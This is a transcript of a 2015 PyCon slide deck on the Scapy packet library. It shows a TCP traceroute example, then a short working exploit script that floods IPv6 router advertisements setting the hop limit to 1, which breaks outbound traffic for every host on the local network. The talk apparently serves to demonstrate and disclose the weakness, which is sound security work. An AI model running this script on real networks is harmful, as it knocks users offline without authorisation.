Top Banner
www.modio.se 2015-05-12 PyCon SCAPY Let’s build an exploit https://www.bongos.se/ D. S. Ljungmark N. Lindgren
17

SCAPY - modio.se · 2015-05-12 PyCon Exploit: SCAPY rocks A (Python) framework for packet manipulation

Nov 06, 2019

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

SCAPYLet’s build an exploit

https://www.bongos.se/

D. S. LjungmarkN. Lindgren

Page 2: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

Exploit: SCAPY rocks

A (Python) framework for packet manipulation

Page 3: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

TCP Traceroute

Sends packets to open port

Page 4: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

TCP Traceroute

Changing TTL to see routers

Page 5: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

TCP Traceroute

from scapy.all import *

packet = IP(dst="ping.sunet.se", ttl=(1, 10),

id=RandShort())/TCP(flags=0x2)

answered, unanswered = sr(packet, timeout=30)

Page 6: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

TCP Traceroute

for sent, received in answered:

print(sent.ttl, received.src,

isinstance(received.payload, TCP))

Page 7: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

TCP Traceroute

$ sudo python traceroute.py

Begin emission:

..****Finished to send 10 packets.

**........................................................................

Received 80 packets, got 6 answers, remaining 4 packets

(1, '10.119.232.1', False)

(2, '192.168.1.1', False)

(3, '213.50.118.42', False)

(4, '192.36.125.18', True)

(5, '192.36.125.18', True)

(6, '192.36.125.18', True)

$

Page 8: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

IPv6: Quoth the RFC

“If the received Cur Hop Limit value is non-zero, the host SHOULD set its CurHopLimit variable to the received value.”

Page 9: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

IPv6: Router Advertisement

ICMP Type ICMP Code Checksum

Cur Hop limit M|O|Reserved Router Lifetime

Reachable time

Retrans timer

Options

Page 10: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

IPv6: Router Advertisement

ICMP Type ICMP Code Checksum

Cur Hop limit M|O|Reserved Router Lifetime

Reachable time

Retrans timer

Options

Page 11: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

Exploit: bongos.py

#!/bin/env python

import scapy.all

from scapy.layers.inet6 import *

ip = IPv6()

ip.dst = "ff02::1"

Page 12: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

Exploit: bongos.py

icmp = ICMPv6ND_RA()

icmp.chlim = 1

send(ip/icmp, loop=True,inter=1)

Page 13: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

Exploit: And then what?

Clients see RA packet and Apply the Hop Limit

Page 14: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

Impact

Hop Limit is suddenly 1

Globally

Page 15: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

Impact

All outgoing packets get dropped at first router

Page 16: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

Exploit: bongos.py

# Undo it all again

icmp.chlim = 64

send(ip/icmp, loop=True,inter=1)

Page 17: SCAPY - modio.se · 2015-05-12 PyCon  Exploit: SCAPY rocks A (Python) framework for packet manipulation

www.modio.se2015-05-12 PyCon

FIN

https://www.bongos.se/